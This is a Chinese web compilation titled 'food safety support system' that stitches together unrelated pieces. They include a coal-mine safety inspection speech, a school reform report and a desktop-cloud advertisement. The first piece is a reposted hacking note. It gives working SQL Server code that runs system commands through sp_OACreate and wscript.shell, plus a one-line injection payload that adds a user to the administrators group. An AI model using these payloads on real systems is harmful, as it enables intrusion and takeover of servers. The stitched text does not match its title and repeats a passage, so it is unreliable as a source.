食品安全支持体系上

食品安全支持体系上（通用8篇）

食品安全支持体系上 篇1

作者貌似是isno~硬盘文，方法大家都会偶拖出来看思路滴。

最让人感兴趣的也许就是前面介绍的利用扩展存储过程xp_cmdshell来运行操作系统的控制台命令。这种方法也非常的简单，只需使用下面的SQL语句：

EXECmaster.dbo.xp_cmdshell‘dirc:‘

但是越来越多的数据库管理员已经意识到这个扩展存储过程的潜在危险，他们可能会将该存储过程的动态链接库xplog70.dll文件删除或改了名，这时侯许多人也许会放弃，因为我们无法运行任何的cmd命令，很难查看对方计算机的文件、目录、开启的服务，也无法添加NT用户。

对此作过一番研究，后来我发现即使xp_cmdshell不可用了，还是有可能在服务器上运行CMD并得到回显结果的，这里要用到SQL服务器另外的几个系统存储过程：sp_OACreate，sp_OAGetProperty和sp_OAMethod。前提是服务器上的Wscript.shell和Scripting.FileSystemObject可用。

sp_OACreate

在Microsoft®SQLServer™实例上创建OLE对象实例。

语法

sp_OACreateprogid,|clsid,

objecttokenOUTPUT

[,context]

sp_OAGetProperty

获取OLE对象的属性值。

语法

sp_OAGetPropertyobjecttoken,

propertyname

[,propertyvalueOUTPUT]

[,index...]

sp_OAMethod

调用OLE对象的方法。

语法

sp_OAMethodobjecttoken,

methodname

[,returnvalueOUTPUT]

[,[@parametername=]parameter[OUTPUT]

[...n]]

思路：

先在SQLServer上建立一个Wscript.Shell，调用其runMethod，将cmd.exe执行的结果输出到一个文件中，然后再建立一个Scripting.FileSystemObject，通过它建立一个TextStream对象，读出临时文件中的字符，一行一行的添加到一个临时表中。

以下是相应的SQL语句

CreateTABLEmytmp(infoVARCHAR(400),IDIDENTITY(1,1)NOTNULL)

DECLARE@shellINT

DECLARE@fsoINT

DECLARE@fileINT

DECLARE@isEndBIT

DECLARE@outVARCHAR(400)

EXECsp_oacreate‘wscript.shell‘,@shelloutput

EXECsp_oamethod@shell,‘run‘,null,‘cmd.exe/cdirc:>c:temp.txt‘,‘0‘,‘true‘

--注意run的参数true指的是将等待程序运行的结果，对于类似ping的长时间命令必需使用此参数。

EXECsp_oacreate‘scripting.filesystemobject‘,@fsooutput

EXECsp_oamethod@fso,‘opentextfile‘,@fileout,‘c:temp.txt‘

--因为fso的opentextfile方法将返回一个textstream对象，所以此时@file是一个对象令牌

WHILE@shell>0

BEGIN

EXECsp_oamethod@file,‘Readline‘,@outout

InsertINTOMYTMP(info)VALUES(@out)

EXECsp_oagetproperty@file,‘AtEndOfStream‘,@isEndout

IF@isEnd=1BREAK

ELSECONTINUE

END

DropTABLEMYTMP

注意：

如果你在进行注入测试时使用这种方法就不能有这样多的换行，必须把它们合为一行，每个语句中间用空格符隔开，

我来给大家一个思路吧：

declare@shellintexecsp_oacreate‘wscript.shell‘,@shelloutputexecsp_oamethod@shell,‘run‘,null,‘c:winntsystem32cmd.exe/cnetlocalgroupadministratorssohu/add‘--

先在SQLServer上建立一个Wscript.Shell，调用其runMethod，将cmd.exe执行的结果输出到一个文件中，然后再建立一个Scripting.FileSystemObject，通过它建立一个TextStream对象，读出临时文件中的字符，一行一行的添加到一个临时表中。

以下是相应的SQL语句

CreateTABLEmytmp(infoVARCHAR(400),IDIDENTITY(1,1)NOTNULL)

DECLARE@shellINT

DECLARE@fsoINT

DECLARE@fileINT

DECLARE@isEndBIT

DECLARE@outVARCHAR(400)

EXECsp_oacreate‘wscript.shell‘,@shelloutput

EXECsp_oamethod@shell,‘run‘,null,‘cmd.exe/cdirc:>c:temp.txt‘,‘0‘,‘true‘

--注意run的参数true指的是将等待程序运行的结果，对于类似ping的长时间命令必需使用此参数。

EXECsp_oacreate‘scripting.filesystemobject‘,@fsooutput

EXECsp_oamethod@fso,‘opentextfile‘,@fileout,‘c:temp.txt‘

--因为fso的opentextfile方法将返回一个textstream对象，所以此时@file是一个对象令牌

WHILE@shell>0

BEGIN

EXECsp_oamethod@file,‘Readline‘,@outout

InsertINTOMYTMP(info)VALUES(@out)

EXECsp_oagetproperty@file,‘AtEndOfStream‘,@isEndout

IF@isEnd=1BREAK

ELSECONTINUE

END

DropTABLEMYTMP

注意：

如果你在进行注入测试时使用这种方法就不能有这样多的换行，必须把它们合为一行，每个语句中间用空格符隔开。

我来给大家一个思路吧：

食品安全支持体系上 篇2

近日, 中央国家机关政府采购中心发出通知, 称所有计算机类产品不允许安装Windows 8操作系统。究竟如何有效确保我国的信息安全, 再次引起了人们的广泛关注, 而桌面云解决方案所特有的安全属性被业界寄予厚望。尤其自棱镜门事件发生后, 信息安全得到了全球范围内的高度重视。中央网络安全和信息化小组的成立, 已经明确表明了我国对待信息安全的态度。但目前仍然没有一款可完全替代Windows的操作系统。因此, 尽管此次中央国家机关政府采购中心发出通知, 禁止安装Windows 8操作系统, 但始终无法从根本上解决信息安全问题。加之传统PC系统自身存在的安全风险, 让人们依旧难以高枕无忧。

事实上, 自从桌面云解决方案诞生以来, 其颠覆性的完全不同于传统PC的构架方式已经让人们欣喜地看到了信息安全的曙光。而其中的代表厂商, 北京云巢动脉科技有限公司作为本土企业自主研发的云巢桌面云产品, 在实践中得到了广大用户的普遍认可。云巢桌面云从用户终端安全、接入安全、传输安全、虚拟PC隔离、镜像安全、数据安全、架构安全、行为管控、管理审计等方面综合考虑, 构建了系统化的安全体系, 从根本上提升了信息安全等级。云巢技术专家表示, 由于用户信息是存放在镜像之中的, 云巢所特有的安全存储及传输方式, 使得桌面的镜像文件即便被盗走, 入侵者脱离云巢桌面云系统也无法还原完整的桌面信息, 所得到的只是毫无价值的文件碎片。

与此同时, 云巢桌面云能够对国产操作系统提供完美支持, 可为用户构建全国产化安全体系, 完全符合对信息安全要求极高的各类应用需求。业界预测, 自主品牌厂商或将就此迎来新的发展机遇。

食品安全支持体系上 篇3

国家提出“到2020年，基本实现教育现代化”这一战略目标，需要基层一所所学校的实践与推动。但是，在当前我国基础教育领域内，与教育现代化尖锐对立的应试教育却依然搞得轰轰烈烈，突出表现如下。

学校办学定位偏离教育本质。以高考升学率取代人才培养的本质要求，片面追求升学率的价值取向对学校办学的质量观、教学观、学生观等发生了广泛而深刻的负面影响，使得办学行为不规范。

课程设置畸形，实践教学环节被严重忽视。只开设高考科目，综合实践类课程、选修课程流于形式，实验教学也变成了死记硬背。

教学组织形式陈旧。课堂教学全部按行政班级授课，因材施教难以落实。

课堂教学方法陈旧。人灌加机灌，填鸭式满堂灌，而学生的学习兴趣、爱好、动力与潜能等没有得到有效的激发与培养。

“重分数，轻全人教育”的现象普遍。只盯分数，教学资源不丰富，劣质、重复性学习资料泛滥成灾，学习时间被任意延长，剥夺了学生个性化发展的时间与空间。

以分数论成败、重智育轻德育、重书本轻实践的应试教育严重违背了教育教学的客观规律，严重影响了青少年的健康发展，使得广大青少年成为了应试的机器。

湖南省长沙市一中决心针对应试教育这五大弊端进行改革与实践探索，彻底纠正应试教育不良倾向，开展以现代教育教学体系和学生发展支持服务体系为重点的现代教育实验，为培养拔尖创新人才奠定基础，为普通高中改革发展提供可供借鉴的经验。学校开展实践探索的顶层设计，形成《现代教育实验学校建设实施方案》。

自2011年9月开始，在省教育厅的直接领导下，学校组织力量从矫正当前应试教育的弊端出发，制定现代教育实验学校建设实施方案；2012年4月初，邀湖南师大附中参加实施方案讨论；2012年5月和7月，省教育厅党组先后两次召开扩大会议，深入讨论，通过了《长沙市第一中学、湖南师大附中现代教育实验学校建设实施方案》[1]，并以文件形式向全省发布。

现代教育教学体系和学生发展支持服务体系的实践探索主要采用行动研究法。各项目的研究者都是学校各方面工作的负责人，问题的探索与工作的推进紧密结合。

第一阶段主要针对教育教学资源不丰富，实践教学环节被严重忽视等问题，重点探索硬件设施的改造和现代课程资源的建设；第二阶段主要针对不顾及学生基础和追求的差异性而全部按统一标准组织教学的问题展开探索，为促进个性发展主要采取分层教学选课走班制、首席教师负责制、周期排课制等策略；第三阶段主要针对班主任难以全方位深度指导每一个学生成长的问题进行研究，在全员育人思想的指导下开始实施成长导师制；第四阶段主要针对课堂教学满堂灌、气氛沉重等问题进行探索，构建自主、合作、探究、充满活力的课堂。

1.形成正确的办学定位与科学的教育质量观

通过探索，我们认为现代教育应为国家为社会培养全面发展的现代人。“以人为本，促进每位学生的全面发展”是现代教育的指导思想，“个性化”是现代教育的核心。现代教育把学生视为发展中的有个性的人，尊重学生的自主性和个体特殊性，能从每个人的不同潜能出发，促进每个人全面发展、个性发展、充分发展，使每个人都成为具有健全体格、独立人格和自由意志的身心完整且协调发展的生命创造体。

学校的质量目标是“坚持以人才培养作为学校办学定位，坚持以人才培养质量作为质量追求的终极目标；建立拔尖创新人才培养基地，培养拔尖创新人才”。我校教育人材观是“四看”，即“看基础，看素质，看后劲，看发展”，“敢于以天下国家为己任”。育人应着眼长远，不急功近利，不能简单地只看分数，不能以一时一事的优劣高低来论断青少年的未来。学校从严要求，多加赏识鼓励，让所有学生的心里都充满阳光和希望，让所有学生都成为人格自尊、行为自律、学习自主、生活自理、管理自治的人。这种办学定位与教育质量观已渗透到学校工作的各个环节中。

2.实施分层选课制、周期排课制，创造现代教学组织体系

实施分层教学选课走班制。学校的分层教学选课走班，是指在保留行政班的前提下，同一年级多个班级同一时段开设不同层次的同一课程，学生在教师、家长的引导下根据自己原有学科基础和自己的人生发展规划自主选择不同层次的教学班学习。首批进行分层教学实验的数学、英语、物理、化学等科目，均分为A、B、C三个教学层次，各层次有不同的教学目标，供学生自主选择。譬如，数学、物理、化学三科A层次教学目标是“根据课程标准的规定，充分调动学生的主观能动性，适度加快学习进度，加大学习难度，拓宽知识面，尤其强调学科思想、方法与应用能力、创新能力的培养与提高”。这个层次侧重满足于有理工（包括部分经济类）类专业发展倾向或有志于向该学科及相关专业方向发展的学生的学习需要。针对分层走班后课堂纪律松弛、跑班费时等问题，学校采取了有效措施：一是年级组通过不定时巡楼等方式加强宏观管理；二是授课教师增强管班的责任意识；三是调整课表确保绝大多数学生一个单位时间内（上午或下午）在一栋教学楼或实验楼中减少跑班。随后，又针对少数学生学习能力与所在教学班不匹配的情况进行微调，使之所选层次的教学更适合其发展。

实施周期排课制。针对分层教学频繁走班费时这一问题，学校提出部分课实行两节连排的解决方案，但是出现了在一个星期有限的课时内一些课程安排不下等新问题。于是，学校打破星期制惯例，按照10天一个周期来排课，有效解决了上述问题。现在，语文、数学、英语都安排了适当的连堂课，美术、信息技术、研究性学习活动等也安排连堂课，这样既减少了学生跑班所花费的时间，又能满足一些学科长课时的需要，有利于实现教学赋值的最大化。

3.实践“先学后教，以问定教，自主学习，合作探究”课堂教学运行体系

“先学后教”恢复了课堂学习的本来面貌。“先学”，指一堂课首先是学生直面文本，有目的地自学或训练。“后教”，就是教师在学生自学或训练后再适当地点拨。“先学后教”是对过去“先教后学”、“先教后练”模式的颠覆，虽然只是简单地改变一下顺序，却使教学方式和学习方式发生了根本性的变化。

“以问定教”主要解决教师如何教的问题。强调教师要根据学生自学或训练中所暴露的问题，或学习进程中真正的疑难问题、阻力所在，进行透彻的点拨与深入的导学，要多途径开展教师与学生、学生与学生之间互动式学习，带领或启迪学生再次深入文本，再次动手实验，再次尝试突破。

“自主学习”强调学习是学生自己的事情，每一位学生要通过自己独立的分析、探索、实践、质疑、创造等方法来实现学习目标，要通过主动调整自己的学习策略和努力程度建构自己的知识与能力架构。

“合作探究”是“自主学习”的有益补充与深化，指学生在小组或团队中为了完成共同的任务，积极互助，相互启发，共同开展搜集信息、加工信息等活动，不断向探究的目标推进。学生在合作探究中，能增进交往，获得深层次的情感体验，掌握解决问题的方法，开启智慧。

在“先学后教，以问定教，自主学习，合作探究”课堂教学运行体系中，“先学后教，以问定教”，着眼于教师，强调要先摸清学生的“底细”再教，有的放矢；“自主学习，合作探究”着眼于学生，要启发、激发学生的内驱力，转变学习方式，才能提高学习能力与学习效果。

学校采用编写导学案的方法，把这一运行体系加以落实。譬如为了提高课堂效率、培养学生的历史素养与思辨能力，历史教研组依据课程标准用每课一主题的方法对教材内容进行整理，编写导学案。导学案一般包括六个部分。“学习目标”让学生了解课程标准中与本课相关的要求。“自主学习”学生在自学的基础上完成对有关基础知识的掌握。如主干知识的填空、对重要历史概念的理解、用表格进行知识归纳对比、经典的选择题等等。“合作共享”根据课本内容精心设计问题，让学生通过小组合作方式解决，体验学习过程，分享学习成果。“探究交流”选择合适的内容，设计针锋相对的观点，或设计开放性的问题，让学生从问题出发，深入探究，形成自己的观点，并组织材料进行辩论，有思想智慧的交锋，能引发更深的思考。“巩固自测”以选择题、材料解析题等形式，主要检测基础知识是否落实，能力训练是否到位。“拓展推荐”向学生推荐相关的著作或影视作品。当然，为了课堂环节的简洁，也可以把“合作共享”“探究交流”“巩固自测”结合到一起。在这些环节中，问题的提出也在逐渐地交给学生，以提高其质疑能力、思辨能力。

这样，借助导学案组织课堂学习，教师重在点拨、开启思维，提供分析与解决问题的材料、角度、方法，释疑解难，拓展视野；学生重在用自主合作探究的学习方式，扎实地掌握基础知识，接受基本技能训练，培养运用学科思维和学科方法分析问题、解决问题的能力。

4.创新教学环境，丰富现代课程资源

学校已建设了一批区别于传统教室、其学科特征更为鲜明的功能教室，建设了一批高标准的学生分组实验室、小组合作探究实验室、研究性学习课题实验室和高端实验室，能很好地培养学生的创新意识和动手操作能力。譬如新的化学实验室宽敞明亮，水电到桌，引入了立体化的通风设备，实现了实验室60人同时操作实验无异味的标准。在化学功能教室内，设计了新颖的八边形课桌，使得学生的小组合作学习与教师的讲授教学都能得以完美实现，同时功能教室中通风橱的设置、创新实验室中各种高、新、尖端化学仪器的引入，更使原来不可能进行的实验变成了现实。现已建成理化生、技术、艺术、心理学等9个学科39间功能教室。自2012年新高一第一学期起，物理、化学、生物、信息技术、通用技术、艺术、体育、心理学等都在功能教室上课。

自2013年7月开始，学校用5个月左右时间，已初步建立了一个集优质上课视频、课件于一体的教育云资源中心——“长沙市一中云资源平台”（网址http：//yun.hnfms.com.cn）已录制上传了80多位教师的400多堂课，在校内全体师生都可以免费点播，初步实现了优质教育资源共享。

另外，学校已与美国、韩国、法国、泰国、德国、加拿大等国家的16所中学签订了友好协议，在美国Sewickley Academy、法国蒙达尔纪森林中学等地建立了学生国外学习生活基地，为学生搭建了感受异国文化、开阔国际视野、提高综合素质的良好平台。

5.实施“学生成长导师制”

学校坚持从立德树人、全员育人出发，构建了“学生成长导师制”这一新的德育工作方式。学校制定了成长导师制度，编制了《成长导师工作手册》，包括《导师制度》、《辅导学生基本情况汇总表》、《学生个人基本情况调查表》、《工作记录表》、《家校联系记录表》和《学期工作总结》等内容，既能指导教师系统地开展成长导师工作，又能全程、全面地记载导师对学生的指导，目前已经在高2012级走班班级中铺开。每位教师大约指导10名学生，学生自主选择导师，最后由年级组统筹；导师每月至少与每名辅导学生个别交流一次，每学期与受导学生家长交流一次，每学期对受导学生进行一次综合评价。

学校现代教育教学体系和学生发展支持服务体系的实验，已完成两轮，取得了明显的效果。

第一，学生学习不断进步。调查发现，绝大多数学生都明显地感觉到，分层走班教学、分层作业、个性化学业辅导等，尊重了学生的选择，而且所教所练内容针对性更强，更适合自己，个性化辅导能帮助自己把没弄懂知识学好学透彻，体验学习的快乐，增强自信心。由于分层不完全固定，便很好地激发了学生学习的自主性和强烈的竞争意识，出现了“你追我赶，奋勇争先”的可喜局面。新课堂教学运行体系，促使学生转变学习方式，学习的主动性更强，综合素质得到了更好的培养。

第二，教师专业化水平不断提高。两年多来，学校广大教师自觉地学习新课程理论，不断更新教育观念，提升自身的综合素质。为搞好分层教学工作，他们常常深入研究学生现状，探索有效教学的方法；他们常常会为教学中的某一个问题而组织教学团队讨论，群策群力解决难点。教师参加省市和全国级的赛课活动，都认真贯彻“先学后教，以问定教”、“自主学习，合作探究”等新课改理念。初步统计，已有40余人次在全省全国各级赛课活动中获得了一等奖。教师还积极总结课改经验，撰写教学论文。《风景这边独好——析“综合探究”教学》、《构建有生命价值的课堂》、《中学生物室教室改造的基本原则》等20多篇论文在国家级刊物发表，其中《教学随笔：透析特别的成长体验》等5篇被人大复印资料全文转载。《关于新课改背景下一堂好课的基本标准》等20多篇论文在全国或省市论文评选中获奖。

第三，校本教材得到好评。《中华传统美德》在中国教育学会中学语文教学专业委员会组织的2009-2013年优秀教学改革成果评比中获得一等奖，《湖湘文化》一书被列入湖南省农家书屋指定用书，在全省发行。这些教材既有助于中学生从中受到中华传统美德、湖湘文化的熏陶，而且能指导中学生身体力行，使得优秀的传统文化在社会主义文化大发展大繁荣的今天焕发蓬勃的活力，为构建社会主义和谐社会作出应有的贡献。

反思所开展的现代教育实验，还存在以下问题：部分层级班额偏大、分层幅度较小，分层教学效果提升还有很大空间；分层教学的针对性还有待增强，分层评价还没有及时跟上；成长导师的工作积极性有待提高，有效解决导师跟踪指导工作。

下一阶段，学校决心进一步提高认识，加大力度，把着力点放在完善以能力为导向的“先学后教，以问定教，自主学习，合作探究”课堂教学运行体系的探索上，切实提高育人质量，为培养拔尖创新人才奠基。

参考文献

[1]http：//www.hunan.gov.cn/xxgk/szfzcbm/tjbm_ 6677/tzgg/ywtz/201207/t20120710_485962.html.

食品安全支持体系上 篇4

郝 贵 2010年11月1日

同志们：

根据10月12日集团公司安全委员会会议的部署，从明天开始将组织开展集团公司2010年冬季安全大检查暨本质安全管理体系考核验收工作，并根据考核验收结果，对各单位排出名次，实行挂牌管理。今天按安委会要求，受玉卓总经理委托，在正式开始检查之前，把各检查组组长、副组长召集起来，召开这次检查组长会议，目的是进一步统一思想，严密部署，确保本次检查考核重点突出，客观透明、公平公正，不走过场、取得实效，推动集团公司各企业安全管理和本安体系建设再上新台阶。下面，我就如何做好这次检查验收工作讲几点意见。

一、充分认识检查工作的重大意义，切实增强做好检查工作的责任感和使命感

这次检查有一个新的特点，就是以本安体系考核验收为主导进行检查。集团党组提出建立三大本安体系，生产本安体系是重要组成部分，也是最重要的一个方面。建设生产本安体系，就是 要构建一套神华集团现代安全管理体系（分为煤矿、电力、路港、煤化工等板块）。体系包涵了一整套解决安全生产实际问题的思路、方法和途径，对于不同板块来讲，体系整体理念和框架是一致的，都是要形成一套以风险预控为核心的闭环管理模式，只不过各板块结合行业特点，隐患的类型、数量和风险等级不同，管控重点也有所不同。

以往的检查都是以排查安全隐患为主，今年我们以本安体系考核验收为主，以检查体系是否有效建立为重点，在当前的体制、机制下，有非常重要的意义。实践证明，集团公司每年春秋两次安全大检查，是一套有效的安全监察机制，是形成PDCA循环、持续改进的有效手段。但是，在以往的常规安全检查中，也存在不够全面、系统的问题，这次检查验收工作，我们总结吸收了以往经验教训，与本安体系验收相结合，采用了新的方法和手段，力求取得更好的效果。当然，检查工作本身也有一个持续改进、不断完善的过程，也会有这样那样的问题，需要大家认真总结，积累经验，以便明年进一步改进完善检查工作方式。

希望你们要统一思想，以集团公司大局为重，充分认识到此次检查的重大意义，切实增强使命感和责任感，正确行使赋予我们的权力，认真履行好监察职责，坚定信心，大胆工作，扎扎实实地搞好这次检查工作。

二、掌握标准，抓住重点，确保这次检查验收工作取得显著成效

集团公司对这次检查验收工作高度重视，喜武董事长几次亲自部署，殷切希望通过检查切实找准安全生产中存在的突出问题，客观公正地反映出各单位本质安全管理体系建设成果。玉卓总经理今天上午召开总经理常务办公会议，对这次检查验收工作进行了研究部署，并亲自挂帅担任团长。集团公司各分管领导也将亲自到现场协调、指导检查考核工作。安监局、工程管理部、煤炭生产部、电力管理部、运输管理部、煤制油化工部、总工办等部门主要负责人亲自担任组长，具体负责组织检查考核工作。同时我们还邀请了国内部分专家一起参加这次检查。刚才安监局，对这次检查的分组、重点内容、考核标准及评分办法等做了统一安排，可以看这次检查的规模、广度、深度、参与检查的人数等等，在集团公司历次检查中也是不多见的。希望大家会后要深入学习领会，并在检查过程中抓好落实。在此基础上，我再着重强调几点，具体要做到“六个严格”。

（一）严格本安体系的验收，确保考核结果的公平公正。检查整体以本安体系验收为主，近期一系列重大要求已纳入体系中，体系在动态的过程中不断完善、与时俱进，体系的落实是目前提高安全管理水平的有效办法。此次体系考核验收，要在总结 3 以往安全质量标准化考核和本安体系预验收经验的基础上，做到“四个转变”，解决好“四个突出问题”。一要变原来依据集团公司年终一次检查结果定等级为集团公司检查结果和与各子（分）公司季度检查结果相结合的评级办法，解决“一次考核定结果”的问题；二要变原来系统性重大安全隐患扣小分为直接扣分方法，解决“重大隐患和一般隐患没有区分对待、重大隐患扣分少”的问题；三要变原来的相对静态检查为不打招呼、不定检查单位、检查期间不停产的动态突击检查方式，解决“检查结果不能真实反映动态生产过程安全管理水平”的问题；四要变检查人员依靠经验检查方式为严格对照标准逐项逐条检查方式，解决“各组检查内容不统一、尺度掌握不一致、考核结果不公正”的问题。若一个矿井1天时间不够，就延长1天半到2天，“时间要绝对服从质量”。通过这些方式的转变，有利于现场查找动态生产中的安全隐患；有利于老问题、老隐患的督促整改；有利于真正实现结果考核与过程管控相结合的目标；有利于考核结果的客观透明、公平公正；有利于拉开档次、真实反映各单位日常安全管理水平；有利于促进各子（分）公司、各单位自觉建立自我约束、自查自纠的长效管理机制。目的就是要推动安全压力的向下传递，推动安全检查、隐患排查、专项整治、考核验收向规范化、日常化、科学化的转变，推动安全管理逐步由“被动式管理”向 4 “主动式管理”转变，推动现场安全管理由静态考核向过程管理和超前预控的转变，推动安全管理工作由传统的事后查处型向事前科学预防型转变。

（二）严格危及安全生产尤其是系统性重大隐患的检查，确保做到重点突出、效果显著。各检查组要认真对照国家的法律法规、行业标准规范、三大规程、本安体系考核标准等，逐项逐条对照检查，突出精、严、细、实。尤其要加大对可能颠覆神华安全工作的重大安全隐患的检查，绝不能出现“前面走后面就发生事故”的现象，更不能出现因为隐患排查不到位导致重特大事故的发生。否则，哪个专业出现问题，就追究哪个检查人员的责任。要严格按照《通知》要求，切实做到“八个结合”。一要与《国务院关于进一步加强企业安全生产工作的通知》（国发„2010‟23号）的贯彻落实情况相结合。二要与《关于做好2010年安全生产工作的意见》（神华安„2010‟1号）部署的任务完成情况相结合。三要与集团公司10月9日、10月12日安全生产电视电话会议精神的贯彻落实情况相结合。四要与专家会诊隐患整治，尤其是185项重大安全隐患的挂牌督办与按期治理情况相结合，凡没有整改的隐患直接在本安体系考核条款中扣分；凡没有按期完成整改的隐患，每发现一条在总分中扣1分；凡该停产没有停产的，现场直接下达停产令,不用向集团公司请示。五要与 5 《国家安全监管总局国家煤矿安监局关于进一步加强煤与瓦斯突出防治工作的通知》（安监总煤装„2010‟154号）的要求，尤其是“四位一体”综合防突措施的落实情况相结合。六要与《神华集团有限责任公司外委工程安全管理办法》（神华安„2010‟131号）的执行情况相结合。七要与安全管理体制机制建设情况相结合，尤其是制度的落实，安全管理机构和人员的配备等。八要与对以往发生的各类安全事故的教训吸取情况相结合。

（三）严格基本建设项目和外委施工队伍的检查，坚决遏制事故多发势头。目前基本建设项目事故多发，一方面与外委施工单位的自身安全管理不到位、队伍安全素质相对较低、人员流动性大等因素有关，另一方面与建设单位日常疏于严格监管、严格要求、严格检查、严格考核等也有诸多关联，可以说大多数单位并没有真正做到集团公司领导反复要求的“把好五个关口、做到五个统一”，甚至存在“一包了之”、“以包代管”、“层层转包”等突出问题。希望，各检查组在专家会诊的基础上，严格对照国家和集团公司关于建设项目的有关规定，从勘探与设计，手续审批与证照办理，建设程序与工序安排，施工安全资质与安全管理机构设臵，施工组织与实施、项目变更与报批、项目验收与考核、制度建设与人员培训、各方责任制定与执行、安全技术措施完善与落实等方面，进一步彻查。凡存在重大安全隐患的项目，该停 6 建坚决责令停建；凡施工工期、工序、程序安排不合理的，该重新调整的坚决责令调整；凡资质不符合要求或层层转包的外委队伍，该责令清退的要坚决责令清退；凡责任不明确的，该完善安全协议的坚决责令完善。要切实通过这次检查，摸清当前基建项目存在的突出问题、安全管理的短板和盲区，推动基建项目安全监管水平的全面提升。

（四）严格矿领导带班下井制度落实情况的检查，严厉查处走过场、走形式的行为。认真对照国务院23号文件、国家局《煤矿领导带班下井及安全监督检查规定》和《神华集团公司关于加强企业领导现场带班的指导意见》等文件要求，全面排查是否按规定制定或完善领导带班下井制度或实施细则，是否明确带班人员范围、每月带班次数、带班地点区域、现场工作时间、带班任务和职责权限、考核奖惩等内容；领导班子的配备是否满足带班技能和资质的要求以及实现24小时带班下井且与工人“同下同上”的需要；领导带班下井的职责是否履行到位、带班次数、质量效果等是否达到要求，是否存在走过场、走形式等现象；各子（分）公司是否每月对矿井领导带班下井情况进行全面检查考核；是否建立并认真执行领导带班井下交接班制度、带班下井档案管理制度、带班下井公示制度、带班下井考核奖惩制度、带班下井举报制度等。

（五）严格矿井应急避险“六大系统”的检查，督促加快建设完善工作。认真对照国家局《关于建设完善煤矿井下安全避险“六大系统”的通知》（安监总煤装[2010]146号）等文件规定，对各矿井监测监控、人员定位、压风自救、供水施救、通信联络、紧急避险等六大系统的建设完善情况进行全面排查。对于已经安装的系统，重点检查是否能够达到国家的标准要求；对于尚未安装的系统，是否制定了建设计划，明确了时间进度，能否在国家规定期限内建成使用；对于基建矿井，是否在规划时就设计了“六大系统”，施工过程中做到“三同时”。国家规定：“中央企业所有煤矿必须在2010年底前建设完善监测监控、人员定位、压风自救、供水施救、通信联络等5大系统，2012年6月底前必须建设完善紧急避险系统。逾期未安装的，依法暂扣安全生产许可证、煤炭生产许可证”。玉卓总经理对此高度重视，要求作为一项重要内容进行检查，近期还将组织召开专题会议，听取各公司“六大系统”建设完善情况，研究解决存在的突出问题。希望各检查组，一定要通过检查摸清底数，掌握存在的突出问题。

（六）严格职业健康、环境保护的检查，提高安健环综合水平。环境保护的检查重点要放在管理机构设臵、人员配备、制度建设；污染治理设施运行；建设项目环评、水保及“三同时”竣工验收；煤粉尘综合治理、烟气达标排放；矿井水与工业废水达 8 标排放与综合利用率；煤矸石规范处理；塌陷区生态治理；涉及公众利益的环境问题，如噪声、塌陷区搬迁等；有无公众环境投诉、环境污染及政府通报事件等。

职业安全卫生与健康的检查，要认真对照国家局《煤矿作业场所职业危害防治规定》，从职业危害防治管理机构设臵，责任制度制定与落实，粉尘、噪声、高温、中毒等危害防治，职业危害事故认定与处理，职业危害申报，班中餐制度执行，职工定期健康体检，井下人车配备，员工超劳作业，职业病患者岗位调整、治疗等方面进行全面排查。

三、严肃纪律，转变作风，牢固树立监察队伍的良好形象 有效的纪律和扎实的工作作风是保障检查验收质量和效果的前提。希望同志们要认真对照以往安全检查工作中存在的突出问题，引以为戒，统一思想，大兴求真务实之风，改进工作方式和工作作风，切实增强责任意识和大局意识。做到重实际、说实话、办实事、求实效，防止和避免形式主义；力戒心中无数，说大话、说空话、说假话；力戒办事拖沓、推诿扯皮，贻误工作；力戒工作不深入、不细致，敷衍了事、走过场；力戒讲关系、讲人情，明哲保身、不敢碰硬。该走的走到，该看的看到，该查的查到，该写的写到，老老实实做人、规规矩矩检查、勤勤恳恳工作。要“严”字当头，“严”密组织，“严”肃认真，“严”细检 9 查，“严”格遵守十项纪律。

一是受检企业一律按工作餐标准接待检查组，检查期间不得安排喝酒。二是不准以任何理由违反规定收送现金、支付凭证和贵重礼品。三是不准参加可能影响公正执行公务的宴请及由检查对象支付费用的娱乐、健身、旅游等活动。四是不准到被检查单位报销应由本单位或个人支付的费用。五是不准利用职务之便为亲友谋取私利。六是不准参加任何形式的赌博，严禁打架、斗殴。七是不准故意刁难、打击报复检查对象。八是不准徇私枉法，包庇、纵容检查对象或个人。九是不准有令不行、有禁不止，严禁在工作中有消极懈怠、推诿扯皮、敷衍塞责现象。十是不准私自处理举报材料或举报线索。

最后对检查组长、副组长提四点要求：一是组长要切实全面负起责任，合理安排好检查时间，组长和副组长可以轮流在现场监督指导工作；二是各组长要认真学习好标准中新的内容，检查组成员一定要分组培训；三是监督检查组成员严格执行上述“十不准”纪律；四是严格掌握考核标准，严格把关，避免各板块之间、同一板块不同规模的单位之间，尤其是井工煤矿四个组之间出现标准掌握不平衡的问题。

另外还要特别提醒三点：一是自身的安全问题；二是交通安全问题；三是冬季保暖事宜。请检查组同志进入矿区、井下、危 10 险化学品场所等，要严格遵守相关安全法规规定，做到安全自保。

同志们！这次检查，时间紧、任务重、涉及面广、要求高。我们要坚定信心，按照集团公司的统一部署，通力合作，确保实效，分板块客观公正地排出名次，真正推动集团公司各企业安全管理和本安体系建设再上新的台阶！

国内发电集团技术支持体系简介 篇5

中国华能集团

（1）西安热工研究院有限公司

西安热工研究院基本涵盖目前发电领域的所有技术方向，其技术水平在国内处于绝对领先地位。现有正式员工730余人，其组织架构如图2-1所示。

图2-1西安热工研究院有限公司组织架构

（2）华能集团清洁能源技术研究院有限公司

主要从事煤基清洁发电和转化、可再生能源发电和污染物及温室气体减排等领域的技术研发、技术转让、技术服务、关键设备研制和工程实施。

图2-2 华能集团清洁能源技术研究院有限公司的组织构架

（3）华能技术经济研究院

2004年11月成立的中国华能集团公司技术经济研究院是软科学研究单位，发挥“战略研究中心、决策支持中心、管理研究中心”的功能，并受权管理中国华能集团公司博士后科研工作站。其服务对象是集团公司决策层，主要任务是为集团公司领导研究重大问题以及重大决策提供咨询和相关建议，主要研究方向有：政策研究、战略研究、市场研究、企业管理研究、技术经济研究等。

中国国电集团

（1）国电科学技术研究院

2008年，国电集团在国电环境保护研究院和国电安全生产技术服务中心的基础上，组建了国电科学技术研究院。主要从事的业务可分为四类：一是技术服务和咨询类，主要是安全评价、环保评价、节能评价、环境影响评价，工程咨询与后评估，设备的调试、性能实验、环保设备的检测，技术监督、技术培训、技术情报服务等；二是环境污染治理类，包括电厂烟气、烟尘、废污水、固体排放、噪声治理工程的总承包和设备集成；三是科技研发类，主要是新技术、新产品的研发与推广、应用；四是产业化，主要是高频电源、CEMS。

图2-3 国电科学技术研究院的组织构架

（2）国电新能源技术研究院

